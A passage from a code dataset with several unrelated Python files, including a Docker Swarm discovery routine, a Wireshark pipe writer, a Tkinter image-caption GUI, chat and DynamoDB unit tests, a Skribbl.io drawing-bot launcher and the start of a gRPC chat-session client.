self.swarmClusterObj.dockerDaemonObjs.items():\n nodeName = dockerDaemonObj.dockerNodeObj.getName()\n for imagesJson in self.client.dockerImagesOnNode(nodeName):\n discoveredImages = self._processImageInfo(imagesJson, dockerDaemonObj.dockerNodeObj, self.imageDictOnNode[nodeName])\n Images.extend(discoveredImages)\n return Images\n\n def discoverContainer(self):\n Containers = []\n Volumes = []\n for containersJson in self.client.dockerPs():\n containerJson = self.client.dockerInspectContainer(containersJson['Id'])\n if containerJson.has_key('Node') and containerJson['Node']:\n nodeName = containerJson['Node']['Name']\n dockerDaemonEndpoint = containerJson['Node']['Addr']\n dockerDaemonObj = self.swarmClusterObj.dockerDaemonObjs[dockerDaemonEndpoint]\n (discoveredContainers, discoveredVolumes) = self._getContainerInfo(dockerDaemonObj, containerJson, self.imageDictOnNode[nodeName])\n Containers.extend(discoveredContainers)\n Volumes.extend(discoveredVolumes)\n else:\n logger.debug('Can not get node data from Swarm!')\n\n self._linkContainers()\n\n return Containers, Volumes\n\n\n","repo_name":"chundcm/cda-record","sub_path":"reference/ucmdb/discovery/docker_swarm_discovery_by_restful_api.py","file_name":"docker_swarm_discovery_by_restful_api.py","file_ext":"py","file_size_in_byte":5629,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"33668429402","text":"import os\nimport time\nimport struct\nimport select\nimport errno\nfrom ctypes import *\nimport datetime\nimport platform\nimport subprocess\n\nsys = platform.system()\nif sys == \"Windows\":\n import win32pipe\n import win32file\n\nfrom frame_deal import FreamDeal\n\nclass FrameOnline(FreamDeal):\n def __init__(self, frame_type):\n now = datetime.datetime.now()\n self.timestamp_start = int(time.mktime(now.timetuple()))\n\n try:\n self.sys = platform.system()\n if self.sys == \"Windows\":\n # open Wireshark, configure pipe interface and start capture (not mandatory, you can also do this manually)\n wireshark_cmd = [\n 'C:\\Program Files\\Wireshark\\Wireshark.exe', r'-i\\\\.\\pipe\\wireshark', '-k']\n proc = subprocess.Popen(wireshark_cmd)\n\n # create the named pipe \\\\.\\wireshark_pipe\n self.pipe = win32pipe.CreateNamedPipe(\n r'\\\\.\\pipe\\wireshark',\n win32pipe.PIPE_ACCESS_OUTBOUND,\n win32pipe.PIPE_TYPE_MESSAGE | win32pipe.PIPE_WAIT,\n 1,\n 65536,\n 65536,\n 300,\n None)\n\n # connect to pipe\n win32pipe.ConnectNamedPipe(self.pipe, None)\n else:\n wireshark_cmd = ['wireshark', '-k', '-i', '/tmp/sharkfin']\n proc = subprocess.Popen(wireshark_cmd)\n\n name = \"/tmp/sharkfin\"\n try:\n os.mkfifo(name)\n except FileExistsError:\n pass\n self.out = open(name, 'wb')\n FreamDeal.__init__(self, self.out)\n # go to http://www.tcpdump.org/linktypes.html for more information \n self.frame_data_deal = frame_type.frame_data_deal\n dlt = frame_type.dlt\n\n # write header\n header = struct.pack(\"=IHHiIII\",\n 0xa1b2c3d4, # magic number\n 2, # major version number\n 4, # minor version number\n 0, # GMT to local correction\n 0, # accuracy of timestamps\n 65535, # max length of captured packets, in octets\n dlt) # data link type (DLT) - IEEE 802.15.4\n self.write(header)\n except:\n raise\n\n def close(self):\n if self.sys == \"Windows\":\n win32file.CloseHandle(self.pipe)\n else:\n self.out.close()\n\n # send pcap data trough the pipe\n def write(self, datas):\n try:\n if self.sys == \"Windows\":\n win32file.WriteFile(self.pipe, datas)\n win32file.FlushFileBuffers(self.pipe)\n else:\n self.out.write(datas)\n self.out.flush()\n except Exception as e:\n print(e)\n\n\n def frame_deal(self, datas):\n ticks = int(datas[0])+int(datas[1])*0x100 + \\\n int(datas[2])*0x10000+int(datas[3])*0x1000000\n tick = ticks % 1000\n secs = int((ticks-tick)/1000)\n second = self.timestamp_start+secs\n microsecond = tick*1000\n\n packet_data = self.frame_data_deal(datas[4:])\n packet_data_len = len(packet_data)\n\n # write packet header\n packet_header = struct.pack(\"=IIII\",\n second, # timestamp seconds\n microsecond, # timestamp microseconds\n packet_data_len, # number of octets of packet saved in file\n packet_data_len, # actual length of packet\n )\n packet = packet_header + packet_data\n self.write(packet)\n","repo_name":"flyghost/OneOS-V2.1.0","sub_path":"components/diagnose/WiresharkDump/host/frame_online.py","file_name":"frame_online.py","file_ext":"py","file_size_in_byte":3989,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"77"} +{"seq_id":"38830566231","text":"import numpy as np\nimport string\nfrom tkinter import *\nfrom tkinter import filedialog\nimport PIL.Image\nimport PIL.ImageTk\nfrom keras.preprocessing.sequence import pad_sequences\nfrom tensorflow.keras.utils import to_categorical\nfrom keras.preprocessing.image import load_img, img_to_array\nfrom keras.models import Model, load_model\nfrom pickle import load\nfrom keras.applications.xception import Xception, preprocess_input\nfrom keras.applications.vgg16 import VGG16\nmodel = load_model(\"models/model_9.h5\")\ntokenizer = load(open(\"tokenizer.p\", \"rb\"))\nword_to_index = tokenizer.word_index\nindex_to_word = dict([index, word] for word, index in word_to_index.items())\nvocab_size = len(tokenizer.word_index) + 1\nmax_len = 32\n\nroot = Tk()\nroot.title(\"Image Caption Generator\")\nroot.state('zoomed')\nroot.resizable(width = True, height = True)\nroot.configure(bg=\"skyblue\")\n\nimg1 = PIL.Image.open(\"logo.png\")\nimg1 = img1.resize((80, 80))\nimg1 = PIL.ImageTk.PhotoImage(img1)\ndisplay_image1 = Label(root, image = img1)\ndisplay_image1.image = img1\ndisplay_image1.place(relx=0.25,rely=0.04)\n\npanel1 = Label(root, text = 'Department of Computer Science and Engineering',fg=\"darkblue\", bg=\"skyblue\",font = (\"Arial\", 14))\npanel1.place(relx = 0.33, rely = 0.05)\n\npanel2 = Label(root, text = 'JNTUGV- University College of Engineering Vizianagaram',fg=\"darkblue\",bg=\"skyblue\", font = (\"Arial\", 14))\npanel2.place(relx = 0.32, rely = 0.1)\n\npanel3 = Label(root, text = 'Final Year Academic project',fg=\"red\", bg=\"skyblue\",font = (\"Arial\", 14))\npanel3.place(relx = 0.4, rely = 0.15)\n\npanel4 = Label(root, text = 'IMAGE CAPTION GENERATOR',bg=\"skyblue\", font = (\"Arial\", 18))\npanel4.place(relx = 0.37, rely = 0.2)\n\npanel5 = Label(root, text = 'Done By-', fg=\"darkblue\",bg=\"skyblue\",font = (\"Arial\", 12))\npanel5.place(relx = 0.89, rely = 0.78)\n\npanel5 = Label(root, text = 'Ramya Sunkavalli', bg=\"skyblue\",font = (\"Arial\", 12))\npanel5.place(relx = 0.88, rely = 0.82)\n\npanel6 = Label(root, text = 'D Usharani',bg=\"skyblue\", font = (\"Arial\", 12))\npanel6.place(relx = 0.88, rely = 0.86)\n\npanel7 = Label(root, text = 'P Kavitha',bg=\"skyblue\", font = (\"Arial\", 12))\npanel7.place(relx = 0.88, rely = 0.9)\n\npanel8 = Label(root, text = 'Sk Sameera',bg=\"skyblue\", font = (\"Arial\", 12))\npanel8.place(relx = 0.88, rely = 0.94)\n\nfilename = None\ndef chooseImage(event = None):\n global filename\n filename = filedialog.askopenfilename()\n img = PIL.Image.open(filename)\n img = img.resize((350, 300))\n img = PIL.ImageTk.PhotoImage(img)\n display_image = Label(root, image = img)\n display_image.image = img\n display_image.place(relx=0.37,rely=0.27)\n\nvalue = StringVar()\n\ndef generateCaption(event = None):\n if(filename == None):\n value.set(\"No Image Selected\")\n else:\n \n xcepmodel = Xception(include_top=False, pooling=\"avg\")\n img = load_img(filename, target_size = (299, 299))\n img = img_to_array(img)\n img = np.expand_dims(img, axis = 0)\n img = img / 127.5\n img = img - 1.0\n features = xcepmodel.predict(img)\n\n #vggmodel=VGG16()\n #vggmodel = Model(inputs=model.inputs,outputs=model.layers[-2].output)\n #image = load_img(filename,target_size=(224,224))\n #image = img_to_array(image)\n #image = image.reshape((1,image.shape[0],image.shape[1],image.shape[2]))\n \n #image = preprocess_input(image)\n #features = vggmodel.predict(image,verbose=0)\n in_text = 'start'\n for i in range(max_len):\n sequence = tokenizer.texts_to_sequences([in_text])[0]\n sequence = pad_sequences([sequence], maxlen=32)\n pred = model.predict([features,sequence], verbose=0)\n pred = np.argmax(pred)\n word = index_to_word[pred]\n if word is None:\n break\n in_text += ' ' + word\n if word == 'end':\n break\n in_text = ' '.join(in_text.split(\" \")[1: -1])\n text = in_text[0].upper() + in_text[1:] + '.'\n value.set(text)\n display_caption = Label(root, textvariable = value,fg='red', bg=\"skyblue\",font=(\"Arial\",18))\n display_caption.place(relx = 0.42, rely = 0.7)\n\nbutton1 = Button(root, text='Choose an Image', font=(None, 18), activeforeground='red', bd=10, relief=RAISED, height=2, width=15, command = chooseImage) \nbutton1.place(relx = 0.3, rely = 0.8)\nbutton2 = Button(root, text='Generate Caption', font=(None, 18), activeforeground = 'red', bd=10, relief=RAISED, height=2, width=15, command = generateCaption)\nbutton2.place(relx = 0.56, rely = 0.8)\ncaption = Label(root, text='Caption : ', bg=\"skyblue\",font=(\"Arial\", 18))\ncaption.place(relx = 0.35, rely = 0.7)\n\nroot.mainloop()\n","repo_name":"Ramyasunkavalli/Image-Captioning","sub_path":"captiongeneratorGUI.py","file_name":"captiongeneratorGUI.py","file_ext":"py","file_size_in_byte":4708,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"23442141585","text":"import csv\r\nimport json\r\npath = \"S:/Files/siim-covid19-detection/REALFINALREAL/realforrealandfinal/src/sample_submission.csv\"\r\n\r\n#เอา Row มาก่อน\r\nresult0 = []\r\n\r\n#ตัด _ ออก\r\nresult1 = []\r\n\r\n# ตัดช่องว่างออก\r\nresult2 = []\r\n\r\n\r\ncount_negative = 0\r\ncount_none = 0\r\ncount_study = 0\r\ncount_image = 0\r\n\r\ncount_first_number = 0\r\ncount_second_number = 0\r\ncount_third_number = 0\r\ncount_forth_number = 0\r\ncount_fifth_number = 0\r\n\r\nwith open(path) as csvfile:\r\n reader = csv.reader(csvfile)\r\n for row in reader:\r\n result0.append(row)\r\n\r\n\r\nfor i in result0:\r\n for j in i:\r\n result1.append(j.split(\"_\"))\r\n\r\nfor i in result1:\r\n for j in i:\r\n result2.append(j.split(\" \"))\r\n\r\n\r\nfor i in result2:\r\n for j in i:\r\n if(j == 'negative'):\r\n count_negative+=1\r\n if(j == 'none'):\r\n count_none+=1\r\n if(j == 'study'):\r\n count_study+=1\r\n if(j == 'image'):\r\n count_image+=1\r\n\r\n\r\nfor i in range(4,len(result2),3):\r\n if(result2[i][1] == '1'):\r\n count_first_number+=1\r\n if(result2[i][2] == '0'):\r\n count_second_number+=1\r\n if(result2[i][3] == '0'):\r\n count_third_number+=1\r\n if(result2[i][4] == '1'):\r\n count_forth_number+=1\r\n if(result2[i][5] == '1'):\r\n count_fifth_number+=1\r\n\r\ndic = {\r\n \"Negative\": str(count_negative),\r\n \"None\": str(count_none),\r\n \"Study\": str(count_study),\r\n \"Image\": str(count_image),\r\n \"First_number_col\": str(count_first_number),\r\n \"Second_number_col\": str(count_second_number),\r\n \"Third_number_col\": str(count_third_number),\r\n \"Forth_number_col\": str(count_forth_number),\r\n \"Fifth_number_col\": str(count_fifth_number)\r\n}\r\n\r\njson_object = json.dumps(dic,indent=4)\r\nwith open(\"src/negative_none.json\",\"w\",encoding='utf-8') as write_file:\r\n write_file.write(json_object)","repo_name":"tanisreal7145/OOPFINAL","sub_path":"src/count_csv.py","file_name":"count_csv.py","file_ext":"py","file_size_in_byte":1916,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"1235430270","text":"import chat_pb2\nimport grpc_testing\nimport unittest\n\nfrom chat_server import ChatServicer\nfrom chat_pb2 import Message\nfrom channel_manager import ChannelManager\n\n\nclass TestChannelManager(unittest.TestCase):\n def setUp(self):\n servicers = {\n chat_pb2.DESCRIPTOR.services_by_name['Chat']: ChatServicer(ChannelManager())\n }\n self.test_server = grpc_testing.server_from_dictionary(\n servicers, grpc_testing.strict_real_time())\n\n def test_create(self):\n manager = ChannelManager()\n channel_id = \"New Channel\"\n manager.create(channel_id)\n channel = manager.get(channel_id)\n self.assertDictEqual(channel, dict(), \"A created channel must be empty dict\")\n\n def test_delete(self):\n pass\n\n def test_has_message(self):\n manager = ChannelManager()\n channel_id = \"New Channel\"\n user_id = \"mock_user_id\"\n text = \"lorem ipsum text\"\n\n # 유저가 없을 땐 메세지가 적재 되지 않는다.\n manager.create(channel_id)\n manager.append_message(\n Message(channel_id=channel_id, user_id=user_id, text=text, is_broadcast=False)\n )\n self.assertFalse(manager.has_message(user_id, channel_id))\n\n # 유저가 있을 땐 메세지가 적재 된다.\n manager.join(user_id, channel_id)\n manager.append_message(\n Message(channel_id=channel_id, user_id=user_id, text=text, is_broadcast=False)\n )\n self.assertTrue(manager.has_message(user_id, channel_id))\n\n def test_has(self):\n manager = ChannelManager()\n channel_id = \"New Channel\"\n\n self.assertFalse(manager.has(channel_id))\n\n manager.create(channel_id)\n self.assertTrue(manager.has(channel_id))\n\n def test_list(self):\n manager = ChannelManager()\n manager.create(\"Channel_1\")\n manager.create(\"Channel_2\")\n channels = manager.list()\n self.assertEqual(len(channels), 2)\n\n def test_get(self):\n manager = ChannelManager()\n channel_id = \"New Channel\"\n manager.create(channel_id)\n channel = manager.get(channel_id)\n self.assertDictEqual(channel, dict(), \"A created channel must be empty dict\")\n\n def test_join(self):\n manager = ChannelManager()\n manager.create(\"channel_1\")\n manager.join(\"user_1\", \"channel_1\")\n channel_1 = manager.get(\"channel_1\")\n\n self.assertTrue(\"user_1\" in channel_1)\n self.assertEqual(len(channel_1.keys()), 1)\n\n manager.join(\"user_2\", \"channel_1\")\n self.assertTrue(\"user_2\" in channel_1)\n self.assertEqual(len(channel_1.keys()), 2)\n\n manager.create(\"channel_2\")\n channel_2 = manager.get(\"channel_2\")\n manager.join(\"user_3\", \"channel_2\")\n manager.join(\"user_4\", \"channel_2\")\n\n self.assertTrue(\"user_3\" in channel_2)\n self.assertTrue(\"user_4\" in channel_2)\n self.assertEqual(len(channel_2.keys()), 2)\n\n # channel_2는 기존에 존재하고 있던 channel_1 에 영향을 주지 않아야 한다.\n self.assertTrue(\"user_1\" in channel_1)\n self.assertTrue(\"user_2\" in channel_1)\n self.assertEqual(len(channel_1.keys()), 2)\n\n def test_append_message(self):\n manager = ChannelManager()\n manager.create(\"channel_1\")\n manager.join(\"user_1\", \"channel_1\")\n manager.append_message(Message(\n channel_id=\"channel_1\", user_id=\"user_1\",\n text=\"Dummy ipsum lorem 1\", is_broadcast=False)\n )\n manager.append_message(Message(\n channel_id=\"channel_1\", user_id=\"user_1\",\n text=\"Dummy ipsum lorem 2\", is_broadcast=False)\n )\n\n channel_1 = manager.get(\"channel_1\")\n messages = channel_1[\"user_1\"]\n self.assertEqual(len(messages), 2)\n self.assertEqual(messages[0].text, \"Dummy ipsum lorem 1\")\n self.assertEqual(messages[1].text, \"Dummy ipsum lorem 2\")\n\n def test_pop_message(self):\n manager = ChannelManager()\n\n manager.create(\"channel_1\")\n manager.join(\"user_1\", \"channel_1\")\n manager.append_message(Message(\n channel_id=\"channel_1\", user_id=\"user_1\",\n text=\"Dummy ipsum lorem 1\", is_broadcast=False)\n )\n manager.append_message(Message(\n channel_id=\"channel_1\", user_id=\"user_1\",\n text=\"Dummy ipsum lorem 2\", is_broadcast=False)\n )\n manager.append_message(Message(\n channel_id=\"channel_1\", user_id=\"user_1\",\n text=\"Dummy ipsum lorem 3\", is_broadcast=False)\n )\n\n message1 = manager.pop_message(\"user_1\", \"channel_1\")\n message2 = manager.pop_message(\"user_1\", \"channel_1\")\n message3 = manager.pop_message(\"user_1\", \"channel_1\")\n\n self.assertEqual(message1.text, \"Dummy ipsum lorem 1\")\n self.assertEqual(message2.text, \"Dummy ipsum lorem 2\")\n self.assertEqual(message3.text, \"Dummy ipsum lorem 3\")\n\n def test_broadcast_message(self):\n manager = ChannelManager()\n\n manager.create(\"channel_1\")\n manager.join(\"user_1\", \"channel_1\")\n manager.join(\"user_2\", \"channel_1\")\n\n manager.create(\"channel_2\")\n manager.join(\"user_3\", \"channel_2\")\n manager.join(\"user_4\", \"channel_2\")\n\n manager.broadcast_message(Message(\n channel_id=\"not existing channel\", user_id=\"someone\",\n text=\"Dummy broadcast message\", is_broadcast=True))\n\n channel_1 = manager.get(\"channel_1\")\n channel_2 = manager.get(\"channel_2\")\n\n # all of 2 channels with 4 users must be received to a broadcast message\n self.assertEqual(len(channel_1[\"user_1\"]), 1)\n self.assertEqual(len(channel_1[\"user_2\"]), 1)\n self.assertEqual(len(channel_2[\"user_3\"]), 1)\n self.assertEqual(len(channel_2[\"user_4\"]), 1)\n\n\nif __name__ == '__main__':\n unittest.main()\n","repo_name":"anuscode/grpc-chatting","sub_path":"test_channel_manager.py","file_name":"test_channel_manager.py","file_ext":"py","file_size_in_byte":5933,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"19573262537","text":"from pynput import mouse\r\nimport subprocess\r\n\r\ncanvas = []\r\npositionSet = False\r\nlistener = 0\r\nprint('Welcome to SkribbleMyWaifu! Your weeb SkribblIO Drawing bot!')\r\nprint('Select your ScribbleIO PlayArea by leftclicking upleft and downright!')\r\nprint('What pic u want? Name it waifu.jpg!')\r\n\r\ndef on_click(x,y,button,pressed):\r\n if pressed:\r\n if len(canvas) < 2:\r\n canvas.append([x,y])\r\n print('Saved {0} Position: X: {1} Y: {2}'.format(len(canvas),x,y))\r\n global positionSet\r\n if len(canvas) == 2 and positionSet == False:\r\n positionSet = True\r\n listener.stop()\r\n if canvas[0][0] < 0:\r\n print('Lol u would use me an ur second monitor? nice. U cant do this now.')\r\n exit()\r\n print('Ready to haxxor Skribbl! IN 5 SECONDS! Dont worry senpai i close myself and running in the 9 ehm... background :)')\r\n print('Pro Tip! You can stop me with CONTROL+ALT+ESC (STRG+ALT+ESC)')\r\n subprocess.Popen('skribblmywaifu.py {0} {1} {2} {3}'.format(canvas[0][0],canvas[0][1],canvas[1][0],canvas[1][1]), shell=True, creationflags=subprocess.CREATE_NEW_CONSOLE)\r\n #Other Methods\r\n #subprocess.Popen('skribblmywaifu.py {0} {1} {2} {3}'.format(canvas[0][0],canvas[0][1],canvas[1][0],canvas[1][1]), shell=True)\r\n #subprocess.Popen('powershell.exe py dev5.py {0} {1} {2} {3}'.format(canvas[0][0],canvas[0][1],canvas[1][0],canvas[1][1]))\r\n exit()\r\n\r\nlistener = mouse.Listener(on_click=on_click)\r\nlistener.start()\r\nlistener.join()\r\n","repo_name":"dpxdenis/skribblmywaifu","sub_path":"start.py","file_name":"start.py","file_ext":"py","file_size_in_byte":1650,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"77"} +{"seq_id":"33416201545","text":"from test.mock import dynamo_db as mock_dynamo_db\nfrom unittest import TestCase\nfrom unittest.mock import MagicMock\n\nfrom services.dynamo_db import DynamoDb\n\n\nclass TestDynamoDb(TestCase):\n def setUp(self) -> None:\n self.dynamo_db = DynamoDb(table_name=\"teste\")\n self.dynamo_db.client = MagicMock()\n self.dynamo_db.dynamo_db = MagicMock()\n self.dynamo_db_sdk = self.dynamo_db.dynamo_db\n\n self.key = \"artist_name\"\n self.value = \"some_artist\"\n\n def test_get(self):\n self.dynamo_db_sdk.get_item = MagicMock(return_value={})\n response = self.dynamo_db.get(self.key, self.value)\n self.assertDictEqual(response, {})\n\n self.dynamo_db_sdk.get_item = MagicMock(\n return_value=mock_dynamo_db.response\n )\n response = self.dynamo_db.get(self.key, self.value)\n self.assertDictEqual(response, mock_dynamo_db.response[\"Item\"])\n\n def test_create(self):\n self.dynamo_db_sdk.put_item = MagicMock(return_value={})\n response = self.dynamo_db.create(\n key_name=self.key, key_value=self.value, songs=mock_dynamo_db.songs\n )\n\n self.dynamo_db_sdk.put_item.assert_called_with(\n Item={\n \"artist_name\": \"some_artist\",\n \"transaction_id\": response,\n \"songs\": mock_dynamo_db.songs,\n }\n )\n","repo_name":"bgodii/genius_top10","sub_path":"src/test/test_dynamo_db.py","file_name":"test_dynamo_db.py","file_ext":"py","file_size_in_byte":1382,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"71341574968","text":"import datetime as dt\r\nimport json\r\nimport base64\r\nimport threading\r\nimport asyncio\r\nimport queue\r\n\r\nfrom typing import Optional, List, Dict, Union, Any, Tuple\r\n\r\nimport grpclib\r\nfrom .grpc import model_pb2 as pb\r\nfrom .grpc import model_grpc as pbx\r\n\r\nfrom .types import \\\r\n TopicDescription, \\\r\n Subscription, \\\r\n DataMessage\r\nfrom .exceptions import Rejected\r\n\r\nclass ChatSession(object):\r\n \"\"\"\r\n Represents a chat session that connects to a chat server and\r\n runs all internal `asyncio` coroutines on a `chat_event_loop`,\r\n which customarily runs on a background thread in an application.\r\n \"\"\"\r\n def __init__(\r\n self,\r\n host,\r\n port,\r\n chat_event_loop,\r\n user_agent='python',\r\n ver='v0.16.5',\r\n device_id='1',\r\n lang='en-US',\r\n platform='web'):\r\n \"\"\"\r\n Initialize a new chat session, connecting to a chat server\r\n running at `host`:`port`. All internal `asyncio`\r\n coroutines will run on the supplied `chat_event_loop`, which\r\n customarily runs on a background thread in an application.\r\n\r\n `user_agent`: String identifying client software. Expected to\r\n follow RFC 7231 section 5.5.3, but this is not enforced.\r\n\r\n `ver`: Version of the wire protocol supported by the client.\r\n\r\n `device_id`: Unique value which identifies this specific client\r\n device, such as for the purpose of push notifications. This is\r\n not interpreted by the server.\r\n\r\n `lang`: Human language of the client device.\r\n\r\n `platform`: Underlying OS of the client device for the purpose\r\n of push notifications; must be one of \"android\", \"ios\", \"web\". If\r\n missing, the server will try its best to detect the platform from\r\n the `user_agent` value.\r\n \"\"\"\r\n\r\n # Parameters for connection and the internal chat event loop\r\n self.__host = host\r\n self.__port = port\r\n self.__chat_event_loop = chat_event_loop\r\n if self.__chat_event_loop is None:\r\n raise ValueError('No event loop supplied')\r\n\r\n # Parameters for identifying client to the server in hi message\r\n self.__user_agent=user_agent\r\n self.__ver = ver\r\n self.__device_id = device_id\r\n self.__lang = lang\r\n self.__platform = platform\r\n\r\n # Indicates that the message loop is running and the client is connected\r\n self.__ready_for_messages = threading.Event()\r\n\r\n # Internal chat event loop uses this to tell the client event loop about new responses\r\n self.__non_data_events = {} # dict of dict of message ID to asyncio.Event\r\n\r\n # Client event loop waits on the appropriate asyncio.Event in __non_data_events and\r\n # then extracts the corresponding response from this\r\n self.__non_data_responses = {} # dict of msg_type to (dict of message ID to msg)\r\n\r\n self.__data_event = asyncio.Event()\r\n self.__data_messages = queue.Queue()\r\n\r\n self.__user_id = None\r\n\r\n self.__stream: grpclib.client.Stream = None\r\n self.__message_loop_future = None\r\n \r\n async def messages(self):\r\n \"\"\"\r\n Async generator of data messages sent from the server.\r\n \"\"\"\r\n\r\n # Runs on the client event loop...\r\n # ... and that's why we don't just use a simple asyncio.Queue here,\r\n # as it would mean sharing an asyncio object across threads, which\r\n # they are not designed to do. asyncio is very NOT thread-safe\r\n\r\n while True:\r\n await self.__data_event.wait() # TODO timeout\r\n self.__data_event.clear()\r\n # await-ing the asyncio.Event frees the internal chat event loop to\r\n # work on other tasks, making it a better choice than blocking until\r\n # the queue has an element (defeating the purpose of async IO!)\r\n while True:\r\n try:\r\n msg = self.__data_messages.get_nowait()\r\n yield msg\r\n except queue.Empty:\r\n break\r\n \r\n @property\r\n def user_id(self) -> str:\r\n \"\"\"\r\n ID of the currently authenticated user in this session.\r\n Raises `RuntimeError` if no user is authenticated.\r\n \"\"\"\r\n\r\n if self.__user_id is None:\r\n raise RuntimeError('Not logged in yet')\r\n return self.__user_id\r\n\r\n _allowed_authentication_schemes_login = ['basic', 'token']\r\n _allowed_authentication_schemes_register = ['anonymous', 'basic']\r\n\r\n async def login(self, secret: str, scheme: str = 'basic') -> str:\r\n \"\"\"\r\n Log in using the specified `secret`. `scheme` must be one of\r\n `basic` or `token`. This means that anonymous users, created\r\n using `register()` with `scheme=\"anynomous\"`, are ephemeral\r\n and cannot log in again from a different session. `\"basic\"`\r\n requires a `secret` in the form `\":\"`.\r\n\r\n Returns a `str` token that can be used for subsequent login\r\n attempts from different sessions using `scheme=\"token\"`.\r\n \"\"\"\r\n\r\n if scheme not in self._allowed_authentication_schemes_login:\r\n raise Rejected(f'Authentication scheme must be one of {self._allowed_authentication_schemes_login}')\r\n if isinstance(secret, str):\r\n secret = secret.encode('utf-8')\r\n if scheme == 'token':\r\n secret = base64.b64decode(secret)\r\n elif not isinstance(secret, bytes):\r\n raise Rejected(f'Authentication secret must be str or bytes')\r\n \r\n ctrl = await self.__send_message(pb.ClientMsg(\r\n login=pb.ClientLogin(\r\n scheme=scheme,\r\n secret=secret)))\r\n self.__user_id = json.loads(ctrl.params['user'].decode('utf-8'))\r\n token = ctrl.params['token']\r\n \r\n return json.loads(token.decode('utf-8')) if token is not None else None\r\n \r\n async def register(\r\n self,\r\n secret: Optional[str] = None,\r\n scheme: str = 'basic',\r\n login: bool = True,\r\n tags: Optional[List[str]] = None,\r\n public: Optional[bytes] = None,\r\n private: Optional[bytes] = None) -> str:\r\n\r\n \"\"\"\r\n Create a new account with the specified `secret` and, if `login`\r\n is `True`, automatically log in using the new account.\r\n\r\n `scheme`: One of `\"basic\"` or `\"anonymous\"`. `\"basic\"` requires\r\n a `secret` in the form `\":\"`. `secret` should\r\n be `None` for `\"anonymous\"`.\r\n\r\n `tags`: Arbitrary case-insensitive strings used for discovering\r\n users with `find_users()`. Tags may have a prefix which serves as\r\n a namespace, like `tel:14155551212`. Tags may not contain the\r\n double quote `\"` but may contain spaces.\r\n\r\n `public`: Application-defined content to describe the user,\r\n visible to all users.\r\n\r\n `private`: Private application-defined content to describe the\r\n user, visible only to the user.\r\n\r\n Returns a `str` token that can be used for subsequent login\r\n attempts from different sessions using `scheme=\"token\"`.\r\n \"\"\"\r\n\r\n if scheme not in self._allowed_authentication_schemes_register:\r\n raise Rejected(f'Authentication scheme must be one of {self._allowed_authentication_schemes_register}')\r\n if isinstance(secret, str):\r\n secret = secret.encode('utf-8')\r\n elif not isinstance(secret, bytes) and scheme != 'anonymous':\r\n raise Rejected(f'Authentication secret must be str or bytes')\r\n\r\n ctrl = await self.__send_message(pb.ClientMsg(\r\n acc=pb.ClientAcc(\r\n user_id='new',\r\n scheme=scheme,\r\n secret=secret,\r\n login=login,\r\n tags=tags,\r\n desc=pb.SetDesc(\r\n public=public,\r\n private=private))))\r\n self.__user_id = json.loads(ctrl.params['user'].decode('utf-8'))\r\n token = ctrl.params['token']\r\n return json.loads(token.decode('utf-8')) if token is not None else None\r\n\r\n async def subscribe(self, topic: str):\r\n \"\"\"\r\n Subscribe to the named `topic`.\r\n \"\"\"\r\n\r\n await self.__send_message(pb.ClientMsg(\r\n sub=pb.ClientSub(\r\n topic=topic, # topic to be subscribed or attached to\r\n # get_query=pb.GetQuery(...)\r\n )))\r\n \r\n async def new_topic(\r\n self,\r\n tags: Optional[List[str]] = None,\r\n public: Optional[bytes] = None,\r\n private: Optional[bytes] = None) -> str:\r\n\r\n \"\"\"\r\n Create a new group topic and subscribe to it.\r\n\r\n `tags`: Arbitrary case-insensitive strings used for discovering\r\n topics with `find_topics()`. Tags may have a prefix which serves\r\n as a namespace, like `region:us`. Tags may not contain the double\r\n quote `\"` but may contain spaces.\r\n\r\n `public`: Application-defined content to describe the topic,\r\n visible to all users using `get_topic_description()`.\r\n\r\n `private`: Per-user application-defined content to describe\r\n the topic, visible only to the current user.\r\n\r\n Returns the topic's name.\r\n \"\"\"\r\n\r\n ctrl = await self.__send_message(pb.ClientMsg(\r\n sub=pb.ClientSub(\r\n topic=\"new\",\r\n set_query=pb.SetQuery(\r\n tags=tags,\r\n desc=pb.SetDesc(\r\n public=public,\r\n private=private)))))\r\n return ctrl.topic\r\n \r\n async def leave(self, topic, unsubscribe=False):\r\n \"\"\"\r\n Leave the named `topic`, which affects just the current session,\r\n and optionally `unsubscribe`, which will affect all sessions.\r\n \"\"\"\r\n\r\n await self.__send_message(pb.ClientMsg(\r\n leave=pb.ClientLeave(\r\n topic=topic,\r\n unsub=unsubscribe)))\r\n \r\n async def publish_str(self, topic: str, content: str):\r\n \"\"\"\r\n Like `publish()` but for a simple `str` message with no headers.\r\n\r\n Returns the `int` sequence ID of the delivered message.\r\n \"\"\"\r\n \r\n return await self.publish(topic, json.dumps(content).encode('utf-8'))\r\n \r\n async def publish(self, topic: str, content: bytes,\r\n no_echo: bool = False,\r\n forwarded: Optional[str] = None,\r\n hashtags: Optional[List[str]] = None,\r\n mentions: Optional[List[str]] = None,\r\n mime: Optional[str] = None,\r\n priority: Optional[Any] = None,\r\n replace: Optional[str] = None,\r\n reply: Optional[str] = None,\r\n thread: Optional[str] = None,\r\n additional_headers: Optional[Dict[str, str]] = None):\r\n \"\"\"\r\n Distribute content to subscribers to the named `topic`.\r\n Topic subscribers receive the supplied `content` and, unless\r\n `no_echo` is `True`, this originating session gets a copy\r\n of this message like any other currently attached session.\r\n\r\n Returns the `int` sequence ID of the delivered message.\r\n\r\n `forwarded`: Set to `\"topic:seq_id\"` to indicate that the\r\n message is a forwarded message.\r\n\r\n `hashtags`: A list of hashtags in this message, without\r\n the # symbol, e.g. `[\"onehash\", \"twohash\"]`.\r\n\r\n `mentions`: A list of user IDs mentioned in this message\r\n (think @alice), e.g. `[\"usr1XUtEhjv6HND\", \"usr2il9suCbuko\"]`.\r\n\r\n `mime`: MIME-type of this message content, e.g. `\"text/x-drafty\"`.\r\n The default value `None` is interpreted as `\"text/plain\"`.\r\n\r\n `priority`: Message display priority, or a hint for clients that\r\n this message should be displayed more prominently for a set period\r\n of time, e.g. 